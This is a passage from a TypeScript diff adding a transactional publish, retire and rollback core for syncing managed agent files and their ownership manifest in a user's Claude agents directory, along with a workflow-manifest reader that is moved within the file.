!/^[a-f0-9]{64}$/.test(parsed.digest) || - (parsed.version !== null && parsed.version !== undefined && typeof parsed.version !== 'string') || - typeof parsed.syncedAt !== 'string' || - (parsed.identityVersion !== undefined && parsed.identityVersion !== PHYSICAL_TREE_IDENTITY_VERSION) || - (parsed.identityVersion === PHYSICAL_TREE_IDENTITY_VERSION && !isPhysicalMode(parsed.targetMode)) - ) { - return { status: 'corrupt' }; +// ============================================================================ +// Flat-agent transaction core +// +// One clearly-bounded transaction per target dir: +// capture → validate → publish → manifest CAS (single commit) → finalize/rollback +// Sync and uninstall both run through {@link runFlatAgentTransaction} while +// holding the shared per-GENIE_HOME lock, so the core only defends against +// non-genie writers. Invariants closed by construction: +// - every irreversible unlink re-verifies the exact captured identity first; +// - ownership moves in ONE manifest commit whose claim set is re-verified +// against the live objects after the commit barrier; +// - the manifest publishes by rename of an exclusively staged payload, so a +// second hardlink to the manifest can never exist and post-publish cleanup +// is rmdir-only — advisory, never a rollback trigger; +// - final-entry relinquish verifies post-state before reporting success. +// ============================================================================ + +/** One planned mutation of a flat agent name inside a single transaction. */ +export type FlatAgentOp = + | { + kind: 'publish'; + name: string; + payload: Buffer; + entry: AgentFileManifestEntry; + /** Live-path snapshot the policy decision validated; the publish CAS target. */ + expected: AgentPathSnapshot; + action: 'created' | 'updated' | 'adopted'; + backupPath?: string; } - return { - status: 'valid', - manifest: { - managedBy: MANAGED_BY, - version: parsed.version ?? null, - digest: parsed.digest, - syncedAt: parsed.syncedAt, - ...(parsed.identityVersion === PHYSICAL_TREE_IDENTITY_VERSION - ? { identityVersion: PHYSICAL_TREE_IDENTITY_VERSION, targetMode: parsed.targetMode } - : {}), - }, - fileDigest: createHash('sha256').update(content).digest('hex'), - }; - } catch { - return { status: 'corrupt' }; - } -} + | { + kind: 'retire'; + name: string; + expected: AgentPathSnapshot; + /** Base-manifest digest this op assumes; ownership drift aborts the op. */ + ownedDigest: string; + disposal: 'discard' | 'keep-aside'; + operation: 'remove' | 'keep'; + backupPath?: string; + } + | { kind: 'disown'; name: string; ownedDigest: string; prune: boolean }; -function regularFileDigest(path: string): string | null { - const stat = lstatSafe(path); - if (stat === null || !stat.isFile() || stat.isSymbolicLink()) return null; - try { - return hashFile(path); - } catch { - return null; - } -} +export type FlatAgentConflict = 'changed-before-capture' | 'replaced-before-publish' | 'replaced-before-commit'; -interface PhysicalRegularFileIdentity { - kind: 'regular'; - mode: number; - digest: string; +export interface FlatAgentOutcome { + op: FlatAgentOp; + /** + * applied — mutation performed and its ownership delta committed; + * conflict — a non-genie writer won the pathname: the foreign object stays + * live and unowned, prior managed bytes stay visible; + * stale — ownership/classification drifted before mutation; nothing changed; + * failed — an exception fired; the live path was restored or kept visible. + */ + status: 'applied' | 'conflict' | 'stale' | 'failed'; + conflict?: FlatAgentConflict; + reason?: string; + /** Where prior bytes were preserved when the disposal was keep-aside. */ + keptPath?: string; } -type PhysicalFileIdentity = +export interface FlatAgentTransactionResult { + /** + * False when a required manifest commit did not happen: every op carrying an + * ownership delta was rolled back and must not be reported as performed. + */ + committed: boolean; + outcomes: FlatAgentOutcome[]; + advisories: string[]; +} + +export interface FlatAgentTransactionSeams { + now: () => Date; + beforeFileMutation?: (event: AgentFileMutationEvent) => void; + beforeManifestCommit?: (event: AgentManifestCommitEvent) => void; +} + +interface FlatAgentTxnCtx { + dir: string; + baseFiles: Record; + seams: FlatAgentTransactionSeams; + advisories: string[]; +} + +interface FlatAgentOpState { + op: FlatAgentOp; + status: FlatAgentOutcome['status']; + conflict?: FlatAgentConflict; + reason?: string; + captured: CapturedPath | null; + published: AgentPathSnapshot | null; + delta: 'set' | 'delete' | null; + keptPath?: string; +} + +/** + * Execute one batch of flat-agent ops against `dir` and its shared manifest. + * The base manifest is inspected once; every mutation CASes against the exact + * object it validated; ownership moves in ONE commit; commit failure rolls the + * data phase back. Callers translate outcomes into their own report shape. + */ +export function runFlatAgentTransaction( + dir: string, + ops: FlatAgentOp[], + seams: FlatAgentTransactionSeams, +): FlatAgentTransactionResult { + const base = inspectAgentFilesManifest(dir); + if (base.kind === 'unsafe') { + return { + committed: false, + advisories: [`agent manifest ${base.path} is unsafe (${base.reason}); left untouched`], + outcomes: ops.map((op) => ({ op, status: 'stale', reason: 'manifest unsafe' })), + }; + } + const ctx: FlatAgentTxnCtx = { + dir, + baseFiles: base.kind === 'managed' ? base.manifest.files : {}, + seams, + advisories: [], + }; + const states = ops.map((op) => executeFlatAgentOp(ctx, op)); + let committed: boolean; + try { + committed = commitFlatAgentManifest(ctx, base, states); + } catch (error) { + // An unexpected commit exception is a failed commit, never a stranded batch. + ctx.advisories.push(`agent manifest ${join(dir, MANIFEST_NAME)} commit failed: ${errMsg(error)}`); + committed = false; + } + if (committed) finalizeFlatAgentOps(ctx, states); + else rollbackFlatAgentOps(ctx, states); + return { + committed, + advisories: ctx.advisories, + outcomes: states.map((state) => ({ + op: state.op, + status: state.status, + conflict: state.conflict, + reason: state.reason, + keptPath: state.keptPath, + })), + }; +} + +// ---- file phase ------------------------------------------------------------ + +function executeFlatAgentOp(ctx: FlatAgentTxnCtx, op: FlatAgentOp): FlatAgentOpState { + const state: FlatAgentOpState = { op, status: 'applied', captured: null, published: null, delta: null }; + if (op.kind !== 'publish' && ctx.baseFiles[op.name]?.digest !== op.ownedDigest) { + state.status = 'stale'; + state.reason = 'manifest ownership changed before staging'; + return state; + } + try { + if (op.kind === 'publish') executePublishOp(ctx, op, state); + else if (op.kind === 'retire') executeRetireOp(ctx, op, state); + else executeDisownOp(ctx, op, state); + } catch (error) { + state.status = 'failed'; + state.reason = state.reason ?? errMsg(error); + quarantinedCapturedToKeepAside(ctx, state); + } + return state; +} + +/** Last-resort failure handling: captured bytes must never stay hidden in quarantine. */ +function quarantinedCapturedToKeepAside(ctx: FlatAgentTxnCtx, state: FlatAgentOpState): void { + const captured = state.captured; + if (captured === null) return; + state.captured = null; + const targetPath = join(ctx.dir, state.op.name); + try { + const kept = keepAsideCaptured(captured, targetPath, ctx.seams.now); + state.keptPath = kept ?? undefined; + ctx.advisories.push(`preserved prior agent bytes at ${kept ?? captured.path}`); + } catch (error) { + ctx.advisories.push(`prior agent bytes for ${targetPath} left quarantined at ${captured.path}: ${errMsg(error)}`); + } +} + +function executePublishOp( + ctx: FlatAgentTxnCtx, + op: Extract, + state: FlatAgentOpState, +): void { + const targetPath = join(ctx.dir, op.name); + const stage = createFileStage(targetPath, op.payload); + try { + if (op.expected.kind !== 'absent' && captureValidatedTarget(ctx, op, state, 'agent-old') !== 'captured') { + markConflict(ctx, state, 'changed-before-capture'); + pushAdvisory(ctx, cleanupFileStage(stage)); + return; + } + ctx.seams.beforeFileMutation?.({ operation: 'replace', path: targetPath, backupPath: op.backupPath }); + if (!fileStageOwned(stage)) throw new Error(`staged payload changed: ${stage.path}`); + try { + linkSync(stage.path, targetPath); + } catch (error) { + if (!isNodeErrorCode(error, 'EEXIST')) throw error; + markConflict(ctx, state, 'replaced-before-publish'); + pushAdvisory(ctx, cleanupFileStage(stage)); + return; + } + pushAdvisory(ctx, consumeFileStageName(stage)); + state.published = captureAgentPathSnapshot(targetPath); + state.delta = 'set'; + } catch (error) { + restoreCapturedAfterFailure(ctx, state, targetPath); + pushAdvisory(ctx, cleanupFileStage(stage)); + state.status = 'failed'; + state.reason = errMsg(error); + } +} + +function executeRetireOp( + ctx: FlatAgentTxnCtx, + op: Extract, + state: FlatAgentOpState, +): void { + const targetPath = join(ctx.dir, op.name); + const capture = captureValidatedTarget(ctx, op, state, 'agent-retire'); + if (capture === 'conflict') { + markConflict(ctx, state, 'changed-before-capture'); + return; + } + if (capture === 'captured') { + try { + ctx.seams.beforeFileMutation?.({ operation: op.operation, path: targetPath, backupPath: op.backupPath }); + } catch (error) { + restoreCapturedAfterFailure(ctx, state, targetPath); + state.status = 'failed'; + state.reason = errMsg(error); + return; + } + } + state.delta = 'delete'; +} + +function executeDisownOp( + ctx: FlatAgentTxnCtx, + op: Extract, + state: FlatAgentOpState, +): void { + if (op.prune) { + const targetPath = join(ctx.dir, op.name); + ctx.seams.beforeFileMutation?.({ operation: 'prune', path: targetPath }); + if (lstatSafe(targetPath) !== null) { + state.status = 'stale'; + state.reason = 'it appeared after classification'; + return; + } + } + state.delta = 'delete'; +} + +/** + * Atomically capture the live object and verify it is exactly the validated + * snapshot. On mismatch the concurrent object is restored (or quarantined + * visibly) and the caller records a conflict; on absence nothing is captured. + */ +function captureValidatedTarget( + ctx: FlatAgentTxnCtx, + op: Extract, + state: FlatAgentOpState, + label: string, +): 'captured' | 'absent' | 'conflict' { + const targetPath = join(ctx.dir, op.name); + const captured = capturePath(targetPath, label); + if (captured === null) return 'absent'; + if (agentPathSnapshotMatches(captured.path, op.expected)) { + state.captured = captured; + return 'captured'; + } + try { + if (restoreCapturedPathNoReplace(captured.path, targetPath)) { + removeEmptyDirSafe(captured.dir); + } else { + const kept = keepAsideCaptured(captured, targetPath, ctx.seams.now); + ctx.advisories.push(`preserved concurrently changed agent at ${kept ?? captured.path}`); + } + } catch (error) { + ctx.advisories.push(`concurrently changed agent left quarantined at ${captured.path}: ${errMsg(error)}`); + } + return 'conflict'; +} + +/** A conflict relinquishes any base ownership of the name; the foreign object is never claimed. */ +function markConflict(ctx: FlatAgentTxnCtx, state: FlatAgentOpState, conflict: FlatAgentConflict): void { + state.status = 'conflict'; + state.conflict = conflict; + state.delta = ctx.baseFiles[state.op.name] === undefined ? null : 'delete'; +} + +/** Failure path: the live pathname is restored, or the bytes stay visible at a kept path. */ +function restoreCapturedAfterFailure(ctx: FlatAgentTxnCtx, state: FlatAgentOpState, targetPath: string): void { + const captured = state.captured; + if (captured === null) return; + state.captured = null; + try { + restoreCapturedForFailure(ctx, state, captured, targetPath); + } catch (error) { + ctx.advisories.push(`prior agent bytes for ${targetPath} left quarantined at ${captured.path}: ${errMsg(error)}`); + } +} + +function restoreCapturedForFailure( + ctx: FlatAgentTxnCtx, + state: FlatAgentOpState, + captured: CapturedPath, + targetPath: string, +): void { + if (restoreCapturedPathNoReplace(captured.path, targetPath)) { + removeEmptyDirSafe(captured.dir); + return; + } + const kept = keepAsideCaptured(captured, targetPath, ctx.seams.now); + state.keptPath = kept ?? undefined; + ctx.advisories.push(`preserved prior agent bytes at ${kept ?? captured.path}`); +} + +function pushAdvisory(ctx: FlatAgentTxnCtx, advisory: string | null): void { + if (advisory !== null) ctx.advisories.push(advisory); +} + +// ---- commit phase ---------------------------------------------------------- + +/** + * Re-verify, immediately before ownership moves, that every published object is + * still the exact one this transaction created and every retired pathname is + * still free. A non-genie writer that raced the gap demotes the op to a + * conflict: the foreign object stays live and unowned. + */ +function reverifyFlatAgentOps(ctx: FlatAgentTxnCtx, states: FlatAgentOpState[]): void { + for (const state of states) { + if (state.status !== 'applied') continue; + const targetPath = join(ctx.dir, state.op.name); + if (state.published !== null) { + if (!agentPathSnapshotMatches(targetPath, state.published)) { + state.published = null; + markConflict(ctx, state, 'replaced-before-commit'); + } + } else if (state.op.kind === 'retire' && lstatSafe(targetPath) !== null) { + // The delta stays 'delete': ownership of the foreign replacement is relinquished. + state.status = 'conflict'; + state.conflict = 'replaced-before-commit'; + } + } +} + +function buildFlatAgentClaim(ctx: FlatAgentTxnCtx, states: FlatAgentOpState[]): Record { + const files: Record = { ...ctx.baseFiles }; + for (const state of states) { + if (state.delta === null) continue; + if (state.delta === 'set' && state.op.kind === 'publish') files[state.op.name] = state.op.entry; + else delete files[state.op.name]; + } + return files; +} + +function manifestPayload(files: Record): Buffer { + const manifest: AgentFilesManifest = { managedBy: MANAGED_BY, files }; + return Buffer.from(`${JSON.stringify(manifest, null, 2)}\n`, 'utf8'); +} + +interface ManifestCommitResult { + committed: boolean; + reason?: string; +} + +/** The single ownership commit; false means every ownership delta must roll back. */ +function commitFlatAgentManifest(ctx: FlatAgentTxnCtx, base: AgentManifestState, states: FlatAgentOpState[]): boolean { + if (!states.some((state) => state.delta !== null)) return true; + const provisional = buildFlatAgentClaim(ctx, states); + const result = + Object.keys(provisional).length > 0 + ? commitFlatAgentManifestWrite(ctx, base, states, provisional) + : commitFlatAgentManifestRemoval(ctx, base, states); + if (!result.committed) { + ctx.advisories.push(`agent manifest ${join(ctx.dir, MANIFEST_NAME)} commit failed: ${result.reason}`); + } + return result.committed; +} + +/** + * Write path: stage exclusively → barrier → re-verify live objects → CAS the + * base manifest out of the way → RENAME the payload in. The rename both decides + * the outcome and consumes the staged payload, so no second hardlink to the + * manifest can ever exist; everything after it is advisory-only. + */ +function commitFlatAgentManifestWrite( + ctx: FlatAgentTxnCtx, + base: AgentManifestState, + states: FlatAgentOpState[], + provisional: Record, +): ManifestCommitResult { + const manifestPath = join(ctx.dir, MANIFEST_NAME); + let stage = createFileStage(manifestPath, manifestPayload(provisional)); + try { + ctx.seams.beforeManifestCommit?.({ path: manifestPath, stagePath: stage.path }); + } catch (error) { + pushAdvisory(ctx, cleanupFileStage(stage)); + return { committed: false, reason: errMsg(error) }; + } + if (!fileStageOwned(stage)) { + pushAdvisory(ctx, cleanupFileStage(stage)); + return { committed: false, reason: 'staged manifest payload changed before commit' }; + } + reverifyFlatAgentOps(ctx, states); + const claim = buildFlatAgentClaim(ctx, states); + if (Object.keys(claim).length === 0) { + // every remaining claim was demoted at the barrier — fall back to removal + pushAdvisory(ctx, cleanupFileStage(stage)); + if (base.kind === 'absent') return { committed: true }; + return removeBaseManifestExact(ctx, base, manifestPath, false); + } + const payload = manifestPayload(claim); + if (!payload.equals(stage.bytes)) { + pushAdvisory(ctx, cleanupFileStage(stage)); + stage = createFileStage(manifestPath, payload); + } + let captured: CapturedPath | null = null; + if (base.kind !== 'absent') { + captured = capturePath(manifestPath, 'manifest-old'); + if (captured === null || !manifestStillBase(captured.path, base)) { + if (captured !== null) restorePreviousManifest(ctx, captured, manifestPath); + pushAdvisory(ctx, cleanupFileStage(stage)); + return { committed: false, reason: 'manifest ownership changed before commit' }; + } + } + try { + renameSync(stage.path, manifestPath); + } catch (error) { + if (captured !== null) restorePreviousManifest(ctx, captured, manifestPath); + pushAdvisory(ctx, cleanupFileStage(stage)); + return { committed: false, reason: errMsg(error) }; + } + // Outcome decided at the rename. Nothing below may throw or roll back. + if (captured !== null) { + try { + removeCapturedPath(captured); + } catch (error) { + ctx.advisories.push(`previous manifest left quarantined at ${captured.path}: ${errMsg(error)}`); + } + } + try { + removeEmptyDirSafe(stage.dir); + } catch { + // empty-stage-dir debris is inert; the payload itself was consumed by the rename + } + return { committed: true }; +} + +/** Removal path: the transaction ends with zero owned names — the manifest itself goes. */ +function commitFlatAgentManifestRemoval( + ctx: FlatAgentTxnCtx, + base: AgentManifestState, + states: FlatAgentOpState[], +): ManifestCommitResult { + reverifyFlatAgentOps(ctx, states); + if (base.kind === 'absent') return { committed: true }; + return removeBaseManifestExact(ctx, base, join(ctx.dir, MANIFEST_NAME), true); +} + +/** + * Remove the base manifest as the final ownership relinquish. The live pathname + * is re-checked before AND after the unlink: success is reported only when no + * manifest object exists there anymore, so a concurrently installed replacement + * can never ride a false-success relinquish. + */ +function removeBaseManifestExact( + ctx: FlatAgentTxnCtx, + base: AgentManifestState, + manifestPath: string, + fireBarrier: boolean, +): ManifestCommitResult { + const captured = capturePath(manifestPath, 'manifest-remove'); + if (fireBarrier) { + try { + ctx.seams.beforeManifestCommit?.({ path: manifestPath, stagePath: captured?.path ?? manifestPath }); + } catch (error) { + if (captured !== null) restorePreviousManifest(ctx, captured, manifestPath); + return { committed: false, reason: errMsg(error) }; + } + } + if (captured === null || !manifestStillBase(captured.path, base)) { + if (captured !== null) restorePreviousManifest(ctx, captured, manifestPath); + return { committed: false, reason: 'manifest ownership changed before commit' }; + } + if (lstatSafe(manifestPath) !== null) { + restorePreviousManifest(ctx, captured, manifestPath); + return { committed: false, reason: 'manifest ownership changed before commit: a replacement manifest appeared' }; + } + removeCapturedPath(captured); + if (lstatSafe(manifestPath) !== null) { + return { committed: false, reason: 'manifest ownership changed before commit: a replacement manifest appeared' }; + } + return { committed: true }; +} + +function restorePreviousManifest(ctx: FlatAgentTxnCtx, captured: CapturedPath, manifestPath: string): void { + const preserved = restoreOrPreserveCaptured(captured, manifestPath); + if (preserved !== null && preserved !== manifestPath) { + ctx.advisories.push(`preserved previous manifest at ${preserved}`); + } +} + +// ---- finalize / rollback ---------------------------------------------------- + +/** + * Success path: dispose captured prior objects. Discard re-verifies the exact + * captured identity at the instant of unlink — bytes that changed after + * validation are parked visibly instead of being discarded. + */ +function finalizeFlatAgentOps(ctx: FlatAgentTxnCtx, states: FlatAgentOpState[]): void { + for (const state of states) { + const captured = state.captured; + if (captured === null) continue; + state.captured = null; + const targetPath = join(ctx.dir, state.op.name); + try { + finalizeCapturedDisposal(ctx, state, captured, targetPath); + } catch (error) { + // Disposal failure never fails the committed transaction or hides bytes. + ctx.advisories.push(`prior agent bytes for ${targetPath} left quarantined at ${captured.path}: ${errMsg(error)}`); + } + } +} + +function finalizeCapturedDisposal( + ctx: FlatAgentTxnCtx, + state: FlatAgentOpState, + captured: CapturedPath, + targetPath: string, +): void { + const keepAside = state.op.kind === 'retire' ? state.op.disposal === 'keep-aside' : state.status === 'conflict'; + if (keepAside) { + const kept = keepAsideCaptured(captured, targetPath, ctx.seams.now); + state.keptPath = kept ?? undefined; + if (kept === null) ctx.advisories.push(`preserved prior agent bytes at ${captured.path}`); + return; + } + disposeCapturedExact(ctx, state, captured, targetPath); +} + +function disposeCapturedExact( + ctx: FlatAgentTxnCtx, + state: FlatAgentOpState, + captured: CapturedPath, + targetPath: string, +): void { + if (state.op.kind !== 'disown' && agentPathSnapshotMatches(captured.path, state.op.expected)) { + removeCapturedPath(captured); + return; + } + const kept = keepAsideCaptured(captured, targetPath, ctx.seams.now); + state.keptPath = kept ?? undefined; + ctx.advisories.push( + `agent bytes for ${targetPath} changed after validation; preserved at ${kept ?? captured.path} instead of discarding`, + ); +} + +/** + * Commit-failure path: every published object that is still exactly ours is + * un-published and the prior object restored; foreign objects that appeared + * meanwhile stay live while prior bytes are parked visibly. + */ +function rollbackFlatAgentOps(ctx: FlatAgentTxnCtx, states: FlatAgentOpState[]): void { + for (const state of [...states].reverse()) { + const targetPath = join(ctx.dir, state.op.name); + try { + rollbackFlatAgentOp(ctx, state, targetPath); + } catch (error) { + // A rollback failure on one name never strands the rest of the batch. + const captured = state.captured; + state.captured = null; + ctx.advisories.push( + `rollback for ${targetPath} incomplete${ + captured === null ? '' : `; prior bytes quarantined at ${captured.path}` + }: ${errMsg(error)}`, + ); + } + } +} + +function rollbackFlatAgentOp(ctx: FlatAgentTxnCtx, state: FlatAgentOpState, targetPath: string): void { + if (state.published !== null) unpublishFlatAgent(ctx, state, targetPath); + const captured = state.captured; + if (captured === null) return; + state.captured = null; + try { + if (restoreCapturedPathNoReplace(captured.path, targetPath)) { + removeEmptyDirSafe(captured.dir); + return; + } + const kept = keepAsideCaptured(captured, targetPath, ctx.seams.now); + state.keptPath = kept ?? undefined; + ctx.advisories.push(`manifest commit failed; preserved prior managed agent at ${kept ?? captured.path}`); + } catch (error) { + ctx.advisories.push(`prior agent bytes for ${targetPath} left quarantined at ${captured.path}: ${errMsg(error)}`); + } +} + +function unpublishFlatAgent(ctx: FlatAgentTxnCtx, state: FlatAgentOpState, targetPath: string): void { + const current = capturePath(targetPath, 'agent-rollback'); + if (current === null) return; + if (state.published !== null && agentPathSnapshotMatches(current.path, state.published)) { + removeCapturedPath(current); + return; + } + const preserved = restoreOrPreserveCaptured(current, targetPath); + if (preserved !== null && preserved !== targetPath) { + ctx.advisories.push(`preserved concurrent agent replacement at ${preserved}`); + } +} + +// ---- sync driver ----------------------------------------------------------- + +/** + * Converge flat source agent files without replacing their shared parent dir. + * Only names in source or in the shared manifest are candidates for mutation; + * every unrelated sibling in `~/.claude/agents` remains invisible. All ops run + * in ONE transaction with a single ownership commit. + */ +function syncClaudeAgentFiles(ctx: RunContext, claudeDir: string, report: AgentReport): void { + const sourceAgents = enumerateSourceAgentFiles(ctx.pluginRoot); + const targetDir = join(claudeDir, 'agents'); + const initialState = inspectAgentFilesManifest(targetDir); + if (initialState.kind === 'unsafe') { + report.advisories.push(`agent manifest ${initialState.path} is unsafe (${initialState.reason}); left untouched`); + return; + } + const existingManifest = initialState.kind === 'managed' ? initialState.manifest : null; + if (sourceAgents.length === 0 && existingManifest === null) return; + + mkdirSync(targetDir, { recursive: true }); + if (initialState.kind === 'foreign') { + const backup = ctx.backupBytes('claude', join('agents', MANIFEST_NAME), initialState.bytes); + report.advisories.push(`adopted foreign agent manifest after backing it up to ${backup}`); + } + const plan = buildClaudeAgentPlan(ctx, sourceAgents, targetDir, existingManifest?.files ?? {}, report); + if (plan.ops.length === 0) return; + const result = runFlatAgentTransaction(targetDir, plan.ops, { + now: ctx.now, + beforeFileMutation: ctx.beforeAgentFileMutation, + beforeManifestCommit: ctx.beforeAgentManifestCommit, + }); + report.advisories.push(...result.advisories); + if (!result.committed) { + recordFailure(report, `claude agent transaction did not commit under ${targetDir}`); + } + reportClaudeAgentOutcomes(result, plan.orphanActions, report); +} + +interface ClaudeAgentPlan { + ops: FlatAgentOp[]; + /** Reporting action for each disown op: absent orphans read as removed. */ + orphanActions: Map; +} + +function buildClaudeAgentPlan( + ctx: RunContext, + sourceAgents: SourceAgentFile[], + targetDir: string, + baseFiles: Record, + report: AgentReport, +): ClaudeAgentPlan { + const ops: FlatAgentOp[] = []; + const orphanActions: ClaudeAgentPlan['orphanActions'] = new Map(); + const sourceNames = new Set(sourceAgents.map((agent) => agent.name)); + for (const source of sourceAgents) { + try { + const op = planAgentPublish(ctx, source, targetDir, baseFiles[source.name]); + if (op === 'unchanged') report.extras.push({ kind: 'agent', action: 'unchanged', detail: source.name }); + else ops.push(op); + } catch (err) { + const failure = `agent ${source.name} (claude) failed: ${errMsg(err)}`; + report.advisories.push(failure); + recordFailure(report, failure); + } + } + for (const [name, entry] of Object.entries(baseFiles).sort(([a], [b]) => a.localeCompare(b))) { + if (sourceNames.has(name)) continue; + try { + ops.push(planAgentOrphan(ctx, targetDir, name, entry, orphanActions)); + } catch (err) { + const failure = `agent orphan ${name} (claude) failed: ${errMsg(err)}`; + report.advisories.push(failure); + recordFailure(report, failure); + } + } + return { ops, orphanActions }; +} + +/** + * Per-file policy mirrors managed skill dirs without ever swapping the parent: + * missing creates; clean+same skips; clean+changed updates; anything else is + * backed up before adoption. The snapshot the policy validated is the exact + * CAS target of the later publish. + */ +function planAgentPublish( + ctx: RunContext, + source: SourceAgentFile, + targetDir: string, + entry: AgentFileManifestEntry | undefined, +): FlatAgentOp | 'unchanged' { + // Read first: a source read failure must leave an existing target untouched. + const payload = readFileSync(source.path); + const sourceDigest = hashBytes(payload); + const targetPath = join(targetDir, source.name); + const expected = captureAgentPathSnapshot(targetPath); + const manifestEntry = buildAgentFileManifestEntry(ctx, sourceDigest); + if (expected.kind === 'absent') { + return { kind: 'publish', name: source.name, payload, entry: manifestEntry, expected, action: 'created' }; + } + const targetDigest = expected.kind === 'file' ? expected.digest : null; + if (entry !== undefined && targetDigest === entry.digest) { + if (sourceDigest === entry.digest) return 'unchanged'; + return { kind: 'publish', name: source.name, payload, entry: manifestEntry, expected, action: 'updated' }; + } + const backupPath = backupAgentSnapshot(ctx, source.name, targetPath, expected); + return { kind: 'publish', name: source.name, payload, entry: manifestEntry, expected, action: 'adopted', backupPath }; +} + +/** Back up exactly the bytes the policy validated; non-file objects fall back to a path copy. */ +function backupAgentSnapshot(ctx: RunContext, name: string, targetPath: string, expected: AgentPathSnapshot): string { + if (expected.kind === 'file') return ctx.backupBytes('claude', join('agents', name), expected.bytes); + return ctx.backupInto('claude', join('agents', name), targetPath); +} + +/** + * A source orphan is deleted only when its live regular-file bytes still match + * the entry that owns it. Modified/non-file targets stay byte-for-byte in place + * and only lose their manifest entry, relinquishing ownership. + */ +function planAgentOrphan( + ctx: RunContext, + targetDir: string, + name: string, + entry: AgentFileManifestEntry, + orphanActions: ClaudeAgentPlan['orphanActions'], +): FlatAgentOp { + const targetPath = join(targetDir, name); + const expected = captureAgentPathSnapshot(targetPath); + if (expected.kind === 'file' && expected.digest === entry.digest) { + const backupPath = ctx.backupBytes('claude', join('agents', name), expected.bytes); + return { + kind: 'retire', + name, + expected, + ownedDigest: entry.digest, + disposal: 'discard', + operation: 'remove', + backupPath, + }; + } + orphanActions.set(name, expected.kind === 'absent' ? 'removed' : 'kept-modified-orphan'); + return { kind: 'disown', name, ownedDigest: entry.digest, prune: false }; +} + +function reportClaudeAgentOutcomes( + result: FlatAgentTransactionResult, + orphanActions: ClaudeAgentPlan['orphanActions'], + report: AgentReport, +): void { + for (const outcome of result.outcomes) { + const name = outcome.op.name; + if (outcome.status === 'failed') { + const failure = `agent ${name} (claude) failed: ${outcome.reason ?? 'unknown failure'}`; + report.advisories.push(failure); + recordFailure(report, failure); + continue; + } + if (outcome.status === 'stale') { + report.advisories.push(`agent ${name} (claude) skipped: ${outcome.reason ?? 'stale classification'}`); + continue; + } + if (!result.committed) continue; // rolled back — nothing happened for this name + report.extras.push({ kind: 'agent', action: claudeAgentAction(outcome, orphanActions), detail: name }); + pushClaudeAgentConflictAdvisories(outcome, report); + if (outcome.op.kind === 'disown' && orphanActions.get(name) === 'kept-modified-orphan') { + report.advisories.push(`kept modified orphan ${name} (claude agents); relinquished manifest ownership`); + } + } +} + +function claudeAgentAction(outcome: FlatAgentOutcome, orphanActions: ClaudeAgentPlan['orphanActions']): SkillAction { + const { op, status } = outcome; + if (op.kind === 'publish') return status === 'applied' ? op.action : 'skipped-unmanaged-kept'; + if (op.kind === 'retire') return status === 'applied' ? 'removed' : 'kept-modified-orphan'; + return orphanActions.get(op.name) ?? 'removed'; +} + +function pushClaudeAgentConflictAdvisories(outcome: FlatAgentOutcome, report: AgentReport): void { + if (outcome.status !== 'conflict') return; + const name = outcome.op.name; + if (outcome.op.kind === 'publish') { + report.advisories.push( + `kept concurrently changed agent ${name} (claude agents); it was not published or claimed by the managed manifest`, + ); + return; + } + report.advisories.push( + outcome.conflict === 'changed-before-capture' + ? `kept concurrently changed orphan ${name} (claude agents)` + : `kept concurrently changed orphan ${name} (claude agents); relinquished ownership`, + ); +} + +/** + * Type-aware stable snapshot of one live path: identity (dev/ino/mode/nlink) + * plus content (bytes / dir digest / symlink target). Exported: uninstall + * classification captures the exact snapshots its removal ops later CAS on. + */ +export function captureAgentPathSnapshot(path: string): AgentPathSnapshot { + let before: Stats; + try { + before = lstatSync(path); + } catch (error) { + if (isNodeErrorCode(error, 'ENOENT')) return { kind: 'absent' }; + throw error; + } + if (before.isFile()) { + const bytes = readFileSync(path); + const after = lstatSync(path); + if (!samePathIdentity(before, after)) throw new Error(`agent path changed while reading ${path}`); + return { kind: 'file', stat: after, bytes, digest: hashBytes(bytes) }; + } + if (before.isDirectory()) return { kind: 'directory', stat: before, digest: computeDirDigest(path) }; + if (before.isSymbolicLink()) return { kind: 'symlink', stat: before, target: readlinkSync(path) }; + return { kind: 'other', stat: before }; +} + +/** Any inspection failure reads as a mismatch, biasing every caller toward preservation. */ +function agentPathSnapshotMatches(path: string, expected: AgentPathSnapshot): boolean { + try { + return sameAgentPathSnapshot(expected, captureAgentPathSnapshot(path)); + } catch { + return false; + } +} + +function sameAgentPathSnapshot(expected: AgentPathSnapshot, current: AgentPathSnapshot): boolean { + if (expected.kind !== current.kind) return false; + if (expected.kind === 'absent' || current.kind === 'absent') return true; + if (!samePathIdentity(expected.stat, current.stat)) return false; + if (expected.kind === 'file' && current.kind === 'file') return expected.bytes.equals(current.bytes); + if (expected.kind === 'directory' && current.kind === 'directory') return expected.digest === current.digest; + if (expected.kind === 'symlink' && current.kind === 'symlink') return expected.target === current.target; + return true; +} + +function samePathIdentity(expected: Stats, current: Stats): boolean { + return ( + expected.dev === current.dev && + expected.ino === current.ino && + expected.mode === current.mode && + expected.nlink === current.nlink + ); +} + +function hashBytes(bytes: Buffer): string { + return createHash('sha256').update(bytes).digest('hex'); +} + +// ============================================================================ +// Workflow stamp (parity-locked to council-stamp.cjs) +// ============================================================================ + +export type ManagedWorkflowState = 'unmanaged' | 'managed-clean' | 'managed-modified' | 'corrupt-metadata'; + +export interface ManagedWorkflowReport { + targetPath: string; + manifestPath: string; + state: ManagedWorkflowState; + /** Accepted physical identity captured by the ownership read. */ + targetDigest?: string; + manifestDigest?: string; + targetMode?: number; + manifestMode?: number; +} + +function readWorkflowManifest(path: string): { + status: 'missing' | 'valid' | 'corrupt'; + manifest?: SyncManifest; + fileDigest?: string; +} { + const stat = lstatSafe(path); + if (stat === null) return { status: 'missing' }; + if (!stat.isFile() || stat.isSymbolicLink()) return { status: 'corrupt' }; + try { + const content = readFileSync(path); + const parsed = JSON.parse(content.toString('utf8')) as Partial; + if ( + parsed.managedBy !== MANAGED_BY || + typeof parsed.digest !== 'string' || + !/^[a-f0-9]{64}$/.test(parsed.digest) || + (parsed.version !== null && parsed.version !== undefined && typeof parsed.version !== 'string') || + typeof parsed.syncedAt !== 'string' || + (parsed.identityVersion !== undefined && parsed.identityVersion !== PHYSICAL_TREE_IDENTITY_VERSION) || + (parsed.identityVersion === PHYSICAL_TREE_IDENTITY_VERSION && !isPhysicalMode(parsed.targetMode)) + ) { + return { status: 'corrupt' }; + } + return { + status: 'valid', + manifest: { + managedBy: MANAGED_BY, + version: parsed.version ?? null, + digest: parsed.digest, + syncedAt: parsed.syncedAt, + ...(parsed.identityVersion === PHYSICAL_TREE_IDENTITY_VERSION + ? { identityVersion: PHYSICAL_TREE_IDENTITY_VERSION, targetMode: parsed.targetMode } + : {}), + }, + fileDigest: createHash('sha256').update(content).digest('hex'), + }; 